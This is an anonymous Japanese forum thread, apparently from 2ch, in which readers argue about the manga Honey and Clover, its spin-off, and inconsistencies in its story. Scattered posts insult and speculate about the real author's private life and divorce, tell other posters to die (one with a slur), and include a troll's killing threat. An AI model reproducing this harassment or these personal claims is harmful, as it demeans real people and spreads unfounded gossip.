859 名前：花と名無しさん mailto:sage [2006/11/30(木) 20:46:04 ID:???0]: 今回のスピンオフは絵の魅力もショートストーリーとしての魅力もなかったなぁ。
あんなにギャグ演出入れなくても良かったような。
読み切りものならきっと大丈夫だよと思ってたけど少ないページ数に無理矢理詰め込んだ感じだったし。

商店街の男ども含めて全員20代後半～30代だという事を考えると・・・。
今回の話も10歳引いても（というか引いた方が）違和感ないね。

>>857
男気あるれる美人だから支持が高いのかと思ってたのに、単に美人で乙女だから何でも許されてる
だけだったという設定になってしまったよね。
860 名前：花と名無しさん [2006/11/30(木) 21:31:43 ID:7afhlW87O]: >>849
そぅ、最初は溺愛な父だったのにはぐが怪我したとことか溺愛よりも溝ができまくりな感じに思えて…
861 名前：花と名無しさん mailto:sage [2006/11/30(木) 22:11:16 ID:???0]: まだコーラス読んでないけどここでの評判だと
わざわざスピンオフでみせる程の内容じゃなさそうだね。
今更作者が描く気のないモノを読まされてもなー
862 名前：花と名無しさん mailto:sage [2006/11/30(木) 22:42:38 ID:???0]: 作者、まっちろになってしまったんでしょ
もっと休ませてあげればいいのに
別にいらんのに
863 名前：花と名無しさん [2006/11/30(木) 23:37:41 ID:bqkipi7eO]: >859
そうそう、そうなのよ。私的に姉御肌でいてほしかった…。恋愛に傷付いたとことか、真山とか野宮への感情の揺れ動く様は見せてよかったと思うけど…必要以上にコドモにならんでも…
864 名前：花と名無しさん mailto:sage [2006/11/30(木) 23:40:02 ID:???O]: メンヘラロリータカエル顔のお姫様になっちゃったね
865 名前：花と名無しさん mailto:sage [2006/11/30(木) 23:58:32 ID:???0]: >>807
人間椅子？猟奇グロ詩人の歌うベーシストですか
膿脳メンヘルポエムの腐酵っぷりをどう見てるんでしょうかね
866 名前：花と名無しさん mailto:sage [2006/12/01(金) 00:17:23 ID:???0]: ｢弓削達也｣と｢竹石圭佑｣の関係って何？
867 名前：花と名無しさん [2006/12/01(金) 02:10:33 ID:6WOMR1fE0]: 空の小鳥の主役の実家が鞄屋さん

作者の父親が鞄職人、やっぱ自分がモデル？
868 名前：花と名無しさん mailto:sage [2006/12/01(金) 04:34:04 ID:???0]: でしょうね。
ありがちなことだよ女流作家には。
869 名前：花と名無しさん mailto:sage [2006/12/01(金) 06:06:07 ID:???0]: >>865
普通に考えれば金のがちょうを手放したことを後悔しまくりだろうねｗ
貧乏ミージシャンとしては
870 名前：花と名無しさん mailto:sage [2006/12/01(金) 06:08:24 ID:???0]: 人間椅子大嫌いだったからいい気味ｗｗ
871 名前：花と名無しさん mailto:sage [2006/12/01(金) 06:42:36 ID:???O]: とりあえず、タイトルはよかったよね、この作品。
タイトルで売れた部分も大いにありそうW。
872 名前：花と名無しさん mailto:sage [2006/12/01(金) 10:31:07 ID:???O]: 人間椅子の人と結婚したのはデビュー後？
どうやって知り合ったんだろう
873 名前：花と名無しさん mailto:sage [2006/12/01(金) 11:06:11 ID:???0]: 人間椅子っていいバンド名だね…
874 名前：花と名無しさん mailto:sage [2006/12/01(金) 12:15:08 ID:???O]: 山田って恋愛以外で何か辛い事ってあったっけ？
何か「(一方的な)恋愛でもう充分傷付いてるんだからこれくらい
皆に甘やかされて当たり前！」みたいな描写が嫌だった…
修ちゃんが日本に居ない間のはぐや船酔いした真山に対して
テキパキして面倒見の良かった山田はどこへ？
半ば～後半って皆が皆女は恋をしてこそ！男に支えられてこそ！
みたいな皆同じようなタイプでキャラの描き分けが出来てなかったよね。
875 名前：花と名無しさん mailto:sage [2006/12/01(金) 13:17:59 ID:???0]: >>872
離婚したのがデビュー前じゃない？

人間椅子って一人よがりでキモくて私も大嫌いだったな
でもウミノさんが若いころああゆう変なの好きだったって
なんかわかる気がする
そもそも同人女はバンド好きが多いんだよ
876 名前：花と名無しさん mailto:sage [2006/12/01(金) 14:05:07 ID:???0]: >>874
そりゃあハチクロは恋愛青春マンガなんだから皆が恋愛に絡んでくるのは当然なんじゃ
つーかハチクロじゃなくても恋愛のない大学生活ってどーよ・・・・・・
877 名前：花と名無しさん mailto:sage [2006/12/01(金) 14:23:09 ID:???O]: >>876
いや恋愛は別にいいけど出てくる女のタイプが１つしかないってことじゃないか？理花は最初は違う感じだったけど、原田が生きてた頃の回想でやっぱりはぐや山田タイプだった事がわかったし。
つーか後半はメインの女キャラに魅力が感じられなかった…。山田も終始うじうじメソメソしすぎ。ブレーキ役の野宮までメロメロになっちゃったのもキツかった。
878 名前：花と名無しさん mailto:sage [2006/12/01(金) 14:27:06 ID:???O]: 青春学生漫画なら恋愛はスパイス程度でも充分なんじゃ…
山田の場合はもう恋愛依存レベルでくどい。
自分可哀想自分可哀想ばっかで引いた。
初期の真山に恋してるって感じの山田は好きだけど、
中期以降は好きって言うより単に恋してる自分を棚に上げて
真山にぶら下がろうとしてる感じだったし。
それに対してちやほやする外野が意味不明過ぎた。
あんな20代いたらちやほや所かDQN認定で周りの人が離れてくよ。
879 名前：878 mailto:sage [2006/12/01(金) 14:29:15 ID:???O]: >>876
恋愛自体は全く否定してないんだが…
極端だな。
880 名前：花と名無しさん mailto:sage [2006/12/01(金) 14:34:49 ID:???0]: 人間椅子がスピッツやシカオにシフトしてくのも
流行り物に弱い人のお約束っぽいなｗ
でも一応イカ天出身のバンドで、当時それなり（つか恐らく相当）に
モテたであろうバンドのメンバーをｹﾞｯﾄしてたのは凄い。
実は対談でとっくにシカオか山崎まさよしもｹﾞｯﾄしてたりして。
881 名前：花と名無しさん mailto:sage [2006/12/01(金) 15:31:01 ID:???O]: シカオやまさよしにも選ぶ権利があること、時々でいいから思い出してあげてください……
882 名前：花と名無しさん mailto:sage [2006/12/01(金) 17:11:41 ID:???0]: スピンアウトマンガは結構よかったと思った。
羽海野さん、ゆるーい日常マンガ描いてるほうがいいな。
芸術家の苦悩とか描き出してわけわかんなくなった。
883 名前：花と名無しさん mailto:sage [2006/12/01(金) 17:14:18 ID:???0]: 元旦那さんはイカ天時代からメンバーチェンジした人間椅子だよ。
884 名前：花と名無しさん mailto:sage [2006/12/01(金) 18:01:11 ID:???0]: 背が低くて少しぽちゃっとした感じの女の子って意外とモテるよね。
実際の顔の造作はともかく、それだけで可愛らしく見えるというか…。
aikoも「好きな男の彼女が自分より背の高い女なら
必ず自分の方に振り向かせられる」とかいうようなことを言っていた。
漫画家だと眉タンも自称モテ女だし。ｗ
885 名前：花と名無しさん mailto:sage [2006/12/01(金) 19:52:07 ID:???O]: >>884
まさかこの板に来てまでその勘違い解釈を目にするとは思わなかった
aikoが言っていたのは
「相手の彼女が自分と同系統の女子だと入り込む隙間がないと感じて諦めるけど
違う系統の女子だったら（スキマ産業的に）どっか入り込める隙間ないかなーと思って頑張る」
といった内容だったよ
背が高い低いの優劣については一言も言ってない＾＾

スレ違いで申し訳ないが発言内容がかなり歪曲されていたので一言言いたかった
886 名前：花と名無しさん mailto:sage [2006/12/01(金) 20:23:24 ID:???0]: はいはいaiko信者乙
887 名前：花と名無しさん mailto:sage [2006/12/01(金) 20:34:28 ID:???0]: >>874
恋愛面以外ではあっていなさそう＞山田

美和子もそういう面を指摘していたけど、家族や近所の人々に守られて育った
事実上の「温室育ちのお嬢様」で、だからこそ余計に真山への失恋から
立ち直れなかったのじゃないかな？
888 名前：花と名無しさん mailto:sage [2006/12/02(土) 01:14:13 ID:???0]: >>878
青春学生マンガってなにｗ
889 名前：花と名無しさん mailto:sage [2006/12/02(土) 01:18:42 ID:???O]: >>886
関係ない板でｷﾓ
死ね
890 名前：花と名無しさん mailto:sage [2006/12/02(土) 02:31:53 ID:???0]: 青春学生マンガって･････なんだか逆に斬新な感じがするね

山田の最後のほうのウダウダはたしかにくどかった。
真山にちゃんと失恋したところまでは良かったのになー。
野宮が出てきた後の山田は真山を忘れられない自分に酔ってるんだろうなと思った。
振られたからってそう簡単に吹っ切れるものではないけど人前で荒れるのは
せいぜい1度にしてほしい。飲むたび毎度なんてウザすぎるし恥ずかしすぎる～～～～～。
でもなんてゆうか山田みたいに男勝りなトコロのある女の子の方が実際
恋するとメロメログダグダになってしまうってのはあるかも。
891 名前：花と名無しさん mailto:sage [2006/12/02(土) 02:45:40 ID:???0]: 山田みたいに飲み会（しかも合コン）の席で自分の失恋話しながら泣くとか
私なら絶対できないなー。
すごく親しい女友達とかにグチ聞いてもらったりはするだろうけど見知らぬ
男の子とかたくさんいる席でそんなことできちゃうのはすごすぎる。
修ちゃんの告白きいて真っ赤になってはわはわしてたけど自分のしてることの
ほうが何倍も恥ずかしいよ。
892 名前：花と名無しさん mailto:sage [2006/12/02(土) 02:52:09 ID:???0]: 一巻での合コンのお持ち帰りネタが、実は山田の勘違いっての嫌だったなー
893 名前：花と名無しさん mailto:sage [2006/12/02(土) 03:35:37 ID:???0]: >>892
そうゆう変なつじつま合わせやこじつけみたいの多かったね。
そのせいで作品に対する印象悪くなっちゃったような。

こじつけの上塗りみたいなスピンオフにならないといいな・・・・。
あくまでもその後の展開が描かれるなら嬉しいけど。
894 名前：花と名無しさん mailto:sage [2006/12/02(土) 08:35:10 ID:???O]: 萌え任せで描くからその場しのぎの収束になるんだろう
895 名前：花と名無しさん mailto:sage [2006/12/02(土) 17:10:01 ID:???O]: 山田がいくら美乳美脚でも実際にいたらああいうタイプの人に
寄って(群がって)くる男って自分に自信のない女慣れしてない童貞男ばっかだとおも。
普通～普通以上の男で女の恋愛対象にされるようなタイプは
あんな面倒くさい女にわざわざ寄って行ったりしないよ。
それくらい半ば～後期の山田はウザかった。
まあｇｄｇｄになった山田は羽海野さんの願望の象徴だったんだろうけど。
896 名前：花と名無しさん mailto:sage [2006/12/02(土) 18:59:26 ID:???0]: 確かにいい男には「あの子かわいいんだけどね～」で
終わりにされそうなタイプっぽ。
モテない男には妙に執着されそうな
あまり羨ましくないモテ方しそうだな。
897 名前：花と名無しさん mailto:sage [2006/12/02(土) 19:13:59 ID:???O]: スガ紅白出場らしいね。当日わざわざ応援に駆け付けそうだよな、膿の。
898 名前：花と名無しさん mailto:sage [2006/12/02(土) 19:58:12 ID:???0]: 山田みたいな性格で容姿の女が実際にいたら
ある種類の男達にはモテると思うよ。
現実でも美人のメンヘルや地雷は
まともな神経をもった男は避けるけど（>>895の指摘どおり）
ある種類の男にモテるから。

DV男やドキュソ男なのに、女にモテる男がいるように
メンヘル女や地雷女なのに、男にモテる女っているんだよ。
DV男やドキュソ男につく女は「彼は私がついていないとダメなの」という女。
メンヘル女や地雷女につく男は
「彼女はあぶなっかしくて、オレがついてあげないと」と使命感に燃える男。

容姿の良いメンヘルちゃんや地雷さんを好きになる男というのは
ストーカーになるようなタイプとか、ウジウジしたタイプ、
頼られるとそれがどんなに理不尽なことでもイヤといえないタイプ、
自分が悪くなくても自分を責めてしまうようなタイプなど。
899 名前：花と名無しさん mailto:sage [2006/12/02(土) 20:08:25 ID:???0]: >>898

> 容姿の良いメンヘルちゃんや地雷さんを好きになる男というのは
> ストーカーになるようなタイプとか、ウジウジしたタイプ、
> 頼られるとそれがどんなに理不尽なことでもイヤといえないタイプ、
> 自分が悪くなくても自分を責めてしまうようなタイプ
　↑
ハチクロの男キャラに当てはまってるじゃないか。
900 名前：花と名無しさん mailto:sage [2006/12/02(土) 20:19:53 ID:???O]: ウミノたん自体あんま色んな男と関わった事ないから
山田に対する(ちやほやする？)男の態度ってウミノたんの理想なんだろうね。
ヲタでモテない女のドリームを漫画で読まされた気分。
901 名前：花と名無しさん mailto:sage [2006/12/02(土) 20:24:05 ID:???0]: 恋愛ってちょっとした依存関係って認識なんじゃ？
902 名前：花と名無しさん mailto:sage [2006/12/02(土) 20:38:08 ID:???0]: ウミノたんのことを高齢喪女のように書いてる住民がいるけど
ウミノたんはバンドマンと結婚してたことのある女だから
喪でもないと思う。

まぁバンドマンっていっても、
キモカルトバンドの人間椅子メンバーだけど。

人間椅子から、スガやスピッツって
ずいぶん音楽の趣味が変わったよなぁｗｗｗｗｗｗｗｗ
903 名前：花と名無しさん mailto:sage [2006/12/02(土) 20:50:24 ID:???O]: 結婚歴ありでこのメルヒェン臭かよ
喪以下だろ
904 名前：花と名無しさん mailto:sage [2006/12/02(土) 21:05:08 ID:???O]: 毎回毎回後書きの独走(自己完結)っぷりからみても
対人関係にも独りよがりっぽい臭いがプンプンと…('A`)ｳﾍｧ
今思えばよく初期の山田みたいな鉄人を描けてたなあ。
伴侶＝女はそれに頼るしかないって図式で
恋愛関係になってもお互いに自立した個人である事を
尊重し合う関係でいるようなキャラってウミノたん漫画には出てこないよね。
905 名前：花と名無しさん mailto:sage [2006/12/02(土) 21:34:59 ID:???0]: >>903
結婚できた女（主婦、元主婦）で痛い女なんていくらでもいるだろ。
906 名前：花と名無しさん mailto:sage [2006/12/02(土) 21:36:15 ID:???0]: >>905
それでも一度も彼女ができたことがなく
結婚なんて絶対無理な真性喪のオレよりはマシ
907 名前：花と名無しさん [2006/12/02(土) 23:50:18 ID:3nHJetiZ0]: スピンオフ・・・・。
一平さんて、「ケーキとパンのお店」でなかったのかな？
「一平さんのケーキって美味しいのよ」って言うセリフあったし。
（以前の）ハチクロが大好きだったから、今回混乱しました。
誰か教えて。
908 名前：花と名無しさん mailto:sage [2006/12/02(土) 23:55:03 ID:???O]: 一平さんちはパン屋さやんでケーキもやってるんだょね。
ベーカリーだよねー。
909 名前：花と名無しさん mailto:sage [2006/12/02(土) 23:58:11 ID:???0]: 本人、自分の描いた設定も忘れるからね。

なんか今回のスピンオフって、谷川史子の漫画を思い出した。
パン屋さんの息子と料亭の娘との間に淡い恋が芽生えるけど
自分の実家の家業が大事だからと身を引くという話。
料亭の料理にパンを並べるわけにはいかないでしょう？と。
910 名前：花と名無しさん [2006/12/03(日) 00:13:57 ID:GDuhywnl0]: ウミノさん、あの原稿を上げた時点で、誰もそのことを
ツッコまない（覚えてない）人たちといるんだね。
本人も壊れちゃったか・・・。無念
911 名前：花と名無しさん mailto:sage [2006/12/03(日) 00:47:17 ID:???0]: ・存在が消滅している、鉄人のあだ名のきっかけになった山田の飼い犬
・研究生は2年なのに卒業してから3年目も大学にいる山田
・なぜか来た当初料理が下手なことにされている竹本(語り部統一の際の修正ミス)
・ミドリちゃんの口調

ちょっと思い返してみただけでこれだけあるから周囲はみんな「いつものこと」すぎて
スルーしちゃってるとか。
もしくは修正してこの状態とかね・・・。
912 名前：花と名無しさん mailto:sage [2006/12/03(日) 01:07:25 ID:???0]: 私もキモオタだけどエセバンドマンとつきあったことあるよ。
どうせひきこもり系バンドでしょ？うみのキモオタだし。
913 名前：花と名無しさん mailto:sage [2006/12/03(日) 01:13:46 ID:???O]: クリスマスケーキ売ってたよね…。
914 名前：花と名無しさん mailto:sage [2006/12/03(日) 01:35:28 ID:???0]: 存在忘れられてるだけなら脳内補完ですむけど、今回のは脳内補完でカバーできる部分じゃないよね。
連載から間をおいてのスピンオフなのに絵も話も設定も粗が目立つなあ。
915 名前：花と名無しさん [2006/12/03(日) 02:08:33 ID:sZM3ahEOO]: なんだかなぁ…プロ意識あんのかな…設定資料とか作ってないのかな…なんかグダクダやんね。最初は漫画読んでてスルーしてた部分あるけど…いつ、どんなカタチではぐと山田は仲良くなったのかとか…アニメではやってたけど。なんかそーゆーとこテキトー過ぎ。
916 名前：花と名無しさん mailto:sage [2006/12/03(日) 08:10:22 ID:???0]: 所詮漫画だしとか、も～ウミノ☆さんは天然なんだから～で
ファン含め周囲が許しちゃってたのがまずかったんじゃ

でも仮に何か周囲の人が指摘しようもんなら
いじめたことになっちゃうから出来ない…とか？
917 名前：花と名無しさん mailto:sage [2006/12/03(日) 09:16:33 ID:???O]: >>911
そのクセ当初の真山お持ち帰りネタは誤解だったっつー
強引なフォローはしっかり入れるんだよね…
恋する乙女はガラス細工みたいに誰もが大切に扱うのに、
肝心の繊細さは描かないで本人は乙女である事にアグラ掻いてる印象。
918 名前：花と名無しさん [2006/12/03(日) 09:21:41 ID:mTBF7L+0O]: >>915
キャラクター一人一人にちゃんとした人生設計を始めから作ってあって
誰がどうなるとかは始めから決まってるってあちこちで言い放ってた割には
非常識＆ツッコミ必須な矛盾と破天荒に満ちた進行だったよね…

「青春時代の若者には矛盾が必要」とか言い訳出来るけど、
もはやそれでは済まされないくらいテキトー
919 名前：花と名無しさん mailto:sage [2006/12/03(日) 11:43:49 ID:???O]: スピンオフ読んだ。
一平さん中心ののんびりした話だったね。
その中で野宮と山田はゆっくりではあるが仲良くやってるよ～ってのを描きたかったのかな。
も少しゴテゴテしたギャグが少なめの方が個人的には好みだけど、
まあ和やかな話でなかなか良かった。
920 名前：高橋佳子 [2006/12/03(日) 14:12:39 ID:BRmO4TdxO]: コロ助－け
921 名前：花と名無しさん mailto:sage [2006/12/03(日) 14:16:53 ID:???0]: >>917
あれはほんっとに強引だと思ったw
922 名前：花と名無しさん mailto:sage [2006/12/03(日) 14:18:24 ID:???0]: 一平さんの店、クリスマスケーキ売るエピもあったよね？
923 名前：花と名無しさん [2006/12/03(日) 14:52:08 ID:sZM3ahEOO]: あったあった
はぐの絵意外での初バイトは一平さんちのクリスマスケーキ販売。あゆとやってたよ。
翌年もやってたよ。
924 名前：花と名無しさん mailto:sage [2006/12/03(日) 19:17:38 ID:???0]: パン屋ってクリスマスにはケーキも売るよね？
うちの周りのパン屋はどこもやるんだけどそれってめずらしいのか
925 名前：花と名無しさん [2006/12/03(日) 19:23:39 ID:sZM3ahEOO]: 売るよね。
別にめずらしくない
926 名前：花と名無しさん mailto:sage [2006/12/03(日) 20:21:59 ID:???0]: バイト先の人で、製菓製パン２年でどっちもって専門学校行ってる人がいて、よくケーキくれたよ。
両方できる人多いんじゃない？
927 名前：花と名無しさん [2006/12/03(日) 22:07:10 ID:43mLG7NEO]: きもい漫画
928 名前：花と名無しさん mailto:sage [2006/12/04(月) 02:01:18 ID:???0]: ケーキ屋のバンは美味しいけど
パン屋のケーキは不味いと聞くよ。
929 名前：花と名無しさん mailto:sage [2006/12/04(月) 04:24:56 ID:???0]: なるほど！たしかにそうかもねｗ
930 名前：花と名無しさん mailto:sage [2006/12/04(月) 07:10:59 ID:???0]: スピンオフ読んだけどなんかおかしかった？
前と違うところある？？
931 名前：花と名無しさん mailto:sage [2006/12/04(月) 08:45:19 ID:???0]: よりキモくなってる
932 名前：花と名無しさん mailto:sage [2006/12/04(月) 09:12:29 ID:???0]: >>928-929
そうなのかな。

うちの近所には激ウマーなパン屋とケーキ屋があるのだけど
激ウマーなパン屋で作ってる
ショートケーキとロールケーキは確かにおいしくない。
スポンジがモッサリしてて、生クリームがくどくて。まずい。

しかし、その激ウマーパン屋で作ってる
クッキーやパウンドケーキやカステラやアップルパイは
素朴なホッとする味で美味しい。
どちらも美味しいので完全に好みの問題だけど、パウンドケーキは
激ウマーなケーキ屋より勝ってるように思う。
（激ウマーなケーキ屋のパウンドケーキは、洋酒タップリでほろ苦い味。
　激ウマーなパン屋のパウンドケーキは、素朴でホクッとした味。）

激ウマーなケーキ屋は、パンは作ってないので
ケーキ屋のパンが上手いかどうかは比べられなくて残念。
933 名前：花と名無しさん mailto:sage [2006/12/04(月) 09:25:10 ID:???0]: >>913が言いたいことよくわからないんだけど、誰か教えてくれ。
934 名前：花と名無しさん mailto:sage [2006/12/04(月) 10:06:16 ID:???0]: >>933
ウチの近所のパン屋の焼き菓子はうまいんだよふじこふじこ！

だから何？って話だけどね
生活板に池
935 名前：934 mailto:sage [2006/12/04(月) 10:09:04 ID:???0]: ごめんレス番勘違いしてた
936 名前：花と名無しさん [2006/12/04(月) 11:24:14 ID:fmkVv2g30]: >933
単行本３巻に一平さんちではぐとあゆが「クリスマスケーキを売る」バイトするエピあり。
一平さんちは「パンとケーキ」のお店であり、あゆが「一平さんのケーキ、おいしいの」
のセリフもある。
そうなると、今回のスピンオフの話はなんなんだ～ってことだ☆
この頃のハチクロは大好きなので、こんな風に設定を壊していかれると、
がっかりだぁ・・・。
937 名前：花と名無しさん mailto:sage [2006/12/04(月) 11:43:34 ID:???0]: 過去に自分の描いたエピソードまで忘れちゃうなんてすごいな。
ハチクロ大好きな久保帯人並みだ。
938 名前：花と名無しさん [2006/12/04(月) 14:25:48 ID:NhauTT7fO]: 羽海野さん自覚してんのかな？
キャラ設定めちゃくちゃになってんの。
本編終ったし、スピンオフ漫画にみんなべつにそこまでなんも考えてないよね～イェッフー！ってなかんじなんかな。

テキトーなことばっかり！(｀・ω・´)！
939 名前：花と名無しさん [2006/12/04(月) 14:29:13 ID:evPPp4960]: きしょいからしねホモ女
940 名前：花と名無しさん mailto:sage [2006/12/04(月) 14:33:22 ID:???O]: 想像以上の大ヒットに描きたくもないのにダラダラ引き延ばされ続けて、
「いくら人生設計作ってたって言ってもそんなん一巻までの話だっつーの！
ここまで細かくしなきゃならないとは当時思ってなかったのよ！」
的ブラック羽海野ﾀｿがいて、今では自分の過去作を読み直したり
当時の設定に目を通したくもない程自分自身がハチクロ大嫌いになってるのではと邪推。

実際今の壊れっぷりはプロの仕事じゃないし。絵は雑だわ
過去の自分で作った設定と矛盾生みすぎだわでやっぱ同人から
出てこない方が良かったのではとすら思う程ヒドイ。
941 名前：花と名無しさん mailto:sage [2006/12/04(月) 14:43:14 ID:???O]: >>940
ちょ、一巻までってｗｗｗ
942 名前：花と名無しさん mailto:sage [2006/12/04(月) 15:19:27 ID:???O]: 同人なら作者本人が作った設定丸無視でもオケだしね。
いかに自分が満足出来るか・自分が萌えられるかって言う。
　
ん？今のウミノﾀｿじゃないか？
商業誌で自分の作品の同人やってるのか？
943 名前：花と名無しさん [2006/12/04(月) 16:12:43 ID:NhauTT7fO]: あれ同人なんだ…自身の漫画の同人を自身が描いてるのか！そか！それなら納得！！
944 名前：花と名無しさん mailto:sage [2006/12/04(月) 16:25:13 ID:???0]: 所詮一発屋
945 名前：花と名無しさん mailto:sage [2006/12/04(月) 16:26:02 ID:???0]: ウィルス反応しまくり
946 名前：933 mailto:sage [2006/12/04(月) 16:35:42 ID:???0]: >>936
クリスマス商戦で、クリスマスのみケーキ販売だと捉えていたから、なんも思わなかったんだわ。
これじゃ作者に都合のよい読者だわな…
947 名前：花と名無しさん [2006/12/04(月) 23:54:31 ID:lJi+Xrko0]: 貝拾うとか、「かわいい自分」に酔っててｷﾓｲ
948 名前：花と名無しさん mailto:sage [2006/12/05(火) 00:08:37 ID:???O]: 本人のあわあわオドオド・小動物キャラアピールは構わないんだが
毎回ちと押し付けがましい。それより漫画のキャラ設定の方を
もっとしっかりやってくれ。
949 名前：花と名無しさん mailto:sage [2006/12/05(火) 00:18:58 ID:???O]: >>947
あれは単に貝が好きなだけだと思ったけど…
そんな事より話が…！
950 名前：花と名無しさん mailto:sage [2006/12/05(火) 00:25:16 ID:???0]: 女が経済力と生活条件で伴侶を選ぶっつー夢の無いマンガはもういいですから
そんなのわかってますから
相手の条件に左右されない格好イイ女の人を描いてくださいウミノ先生
951 名前：花と名無しさん mailto:sage [2006/12/05(火) 01:16:51 ID:???0]: >>950
そうゆうマンガ読めば？
952 名前：花と名無しさん mailto:sage [2006/12/05(火) 01:35:28 ID:???O]: >>950
初期なら上手く行けば山田がそう転べるんだと思ってた。
でも後半のグダグダ、ウミノﾀｿの自分萌え丸出しっぷりの中身から言って
ウミノﾀｿ自体がもともとそう言う女像ってものが無いんだと悟った。
無いものは描けないとおも…('A`)
953 名前：花と名無しさん mailto:sage [2006/12/05(火) 03:14:26 ID:???0]: >>951
スピンオフもまた同じ関係が出てきたんで苛ついてつい

>>952
山田は惜しかったですね
一平の話も男が女の容姿で惚れて
甲斐性無しに言い寄られやすい女が好条件の男に身を売る
周囲が祝って盛上げる…同じでした
954 名前：花と名無しさん mailto:sage [2006/12/05(火) 09:35:41 ID:???0]: いろんな考えがあるんだなぁ・・・

予備知識無しで昨日から読み始めて今
全巻読み終わった。正直余り期待してなかったから
こんなにおもしろいとは思わなかった。少女漫画もほとんど
読んだこと無かったし。

作者の人のことは全然知らないけど、ストーリー自体は
同時に複数のキャラクターを動かしながらみんなそれぞれに
個性引き立ててすごいなぁって思った。
嫁にも言われたけどこの話で共感できたり、感情移入できた
俺はただのメルヘンチックなのかもしれんが。

確かに消化不足の部分があったことは否めないが、だからと
いってエッセンス自体は素晴らしいものも含まれてたから
作品全体の雰囲気とキャラが吐く台詞の部分部分が好きだ。
955 名前：花と名無しさん mailto:sage [2006/12/05(火) 09:39:05 ID:???0]: あと、なんかすごくこのスレ読んで感じたのは
みんな妙に期待しすぎっつーか、所詮漫画なんだしもうすこし
肩の力抜いて読んだら楽しめるのになぁって。
漫画読んで感じることや、望むことも人それぞれだとはおもうけど
どうも「あそこはこうなるべき」とか「ああすればよかったのに」とか
妙に注文が多い気がするんだよな、作者に。そんなに酷いインタブーだったの？
956 名前：花と名無しさん mailto:sage [2006/12/05(火) 09:44:35 ID:???0]: >>954
あんたみたいな意見は激しく既出。
そして、
あんたみたいなヤツの場合、最近知って一気に単行本で読んだから
アラが気にならなかっただけ。

批判しているヤツは、雑誌の連載にあわせてハチミツとクローバーを
リアルタイムで読み、登場人物がどうなるのか
登場人物達の恋や友情はどうなるのか、どうみんな成長していくのか
ハラハラしたり、暖かい目で見守ったり、生暖かい目で見守ったり
しながら読んでた人達。
そういう人は、深く読んでいただけに、アラが目についたり
連載後半の劣化に腹がたったり
拍子ぬけした人が多いというわけ。
957 名前：花と名無しさん mailto:sage [2006/12/05(火) 09:46:38 ID:???O]: 知りもせず住人攻撃ｲｸﾅｲ
958 名前：花と名無しさん mailto:sage [2006/12/05(火) 09:57:25 ID:???0]: >>956
いや、アラが気にならなかったんじゃなくて
アラも含めて許せるぐらいその他がよかったと
感じただけ。漫画にそこまで高いレベルのものを求めても
仕方がないという考え方だから。

別にここの住人を批判したいわけでもない。
ただ、そこまで真剣に考えるってのはこの作品に対する
愛情の裏返しなんだよねってことを確認したかっただけ。

まぁ、後半の変化が受け入れられないという人にとって
まさに「百年の恋も冷める」状態だったのは想像できるが。
リアルタイムで見れた人たちはそのときしか出来ない見方
を出来たはずだから、羨ましいと思う。
単純に魅力を語る人より批判が圧倒的だったから、このスレ
の住人ならもっとその辺語ってもいいんじゃないかなと思って。
959 名前：高橋佳子 [2006/12/05(火) 10:13:53 ID:04WGVbknO]: コロ助されたくなかったら今すぐ私を漫画家にしろ
960 名前：花と名無しさん mailto:sage [2006/12/05(火) 10:14:52 ID:???0]: ・男性
・普段あまり少女漫画を読まない
・単行本で一気読み

こういう人にはおおむね好評
961 名前：高橋佳子 [2006/12/05(火) 10:23:58 ID:04WGVbknO]: 私は手塚治虫よりもアイディアが豊富なのに講談社に乗り込んだのになぜ漫画家にしない
海野が邪魔してるんだ
962 名前：花と名無しさん mailto:sage [2006/12/05(火) 12:27:39 ID:???O]: >>954もしあれなら他の少女漫画も多少読んでから再読することをお勧めするよ。
ここまで叩かれるのは所詮漫画以前の問題だってわかるから。
963 名前：花と名無しさん mailto:sage [2006/12/05(火) 13:31:05 ID:???0]: >>962
例えばどんなの？
男だがハチクロ以外にNANAを飛ばし読みぐらいしかした事ない。
ハチクロ＝切ない思い出、ヤらなすぎ、NANA＝女の子の妄想、ヤりすぎな印象だった。

>>954
すごいなと思ったり共感したり感情移入してる割に、
所詮漫画とか高いレベルを求めても仕方ないと言う矛盾は
反論を予測した2ch的な書き込みだからか。大部分同意できるが
所詮漫画とか言うならこんなとこ書き込まなきゃいいのに。
964 名前：花と名無しさん mailto:sage [2006/12/05(火) 13:44:57 ID:???0]: 別に自分がハチクロ良い作品と思うなら思うでいいんじゃないの
書き込まなきゃいいとか真剣なんだね～漫画でｗみたいな意見なんて
それこそ余計じゃん
俺は良かったと思う、でいいのに
でも批判してる人もウミノさん本人にずれていってしまってるのはあれだと思うけど
965 名前：花と名無しさん mailto:sage [2006/12/05(火) 14:12:16 ID:???O]: 擁護レスする奴って
だんだんムキになってきて本性が表れるもんだ。
966 名前：花と名無しさん mailto:sage [2006/12/05(火) 14:14:49 ID:???O]: 塚、過去スレROMるか最初からスレ嫁よ…
967 名前：花と名無しさん mailto:sage [2006/12/05(火) 14:23:15 ID:???0]: >>965
アンチもストレートにそいつの醜さが出てるレス多いけどな。
968 名前：花と名無しさん [2006/12/05(火) 14:30:18 ID:9O/KRnLhO]: 自分は単行本派で一冊一冊出るペースが遅いから
過去に出たネタを忘れてる場合も結構あるから
矛盾も割とスルー出来てた部分もあったんだけど、
(それでも後半はもう見放してしまうレベルでダメだった)
一気読みした場合は初期と後期の矛盾やキャラに対してのツッコミが
より目につくような気がするんだけど、そうでもないのかな？

まぁハチクロの場合は最終的に楽しめた者勝ちだよね…
後はウミノさんをちゃんと天然おっちょこちょいキャラとして
受け止めてあげられる度量のある人とか。

自分はどっちでもなかったモニョリ(以外の的確な表現がない)派だったけどさ…
969 名前：花と名無しさん mailto:sage [2006/12/05(火) 14:36:21 ID:???O]: >>954は自分の感想自体を叩かれているのではなく、
>>955のような他人の価値観にまで口出し始めたから叩かれていると言う事に
早く気付けば良かったのに。しょっぱなの「色々な意見があるんだな」
だけで済ましときゃ良かったのに…('A`)あーあ。
970 名前：花と名無しさん mailto:sage [2006/12/05(火) 14:58:32 ID:???0]: 作者離婚歴ありってマジだったのか。
自分でオタク連呼してアレな同人描いてるんだから男に相手されｎ

789とかで偉そうに作者の性格分析したけど全然合ってなかったのかもしれない。
しかし今度は10巻で唯一恋愛中が描かれてる読みきり漫画の内容こそが
自身の離婚に繋がる体験談だったんだろうなと、また勝手に予想してしまう。
971 名前：花と名無しさん mailto:sage [2006/12/05(火) 15:20:26 ID:???0]: あまりにも作者から「羽海野カワイソカワイソなのです☆」臭がしてね・・・。
972 名前：花と名無しさん mailto:sage [2006/12/05(火) 15:27:47 ID:???0]: 初期の頃話題にされてたのは、
少女漫画なのに男子学生の貧乏生活なんか描いてあって新鮮だったから。
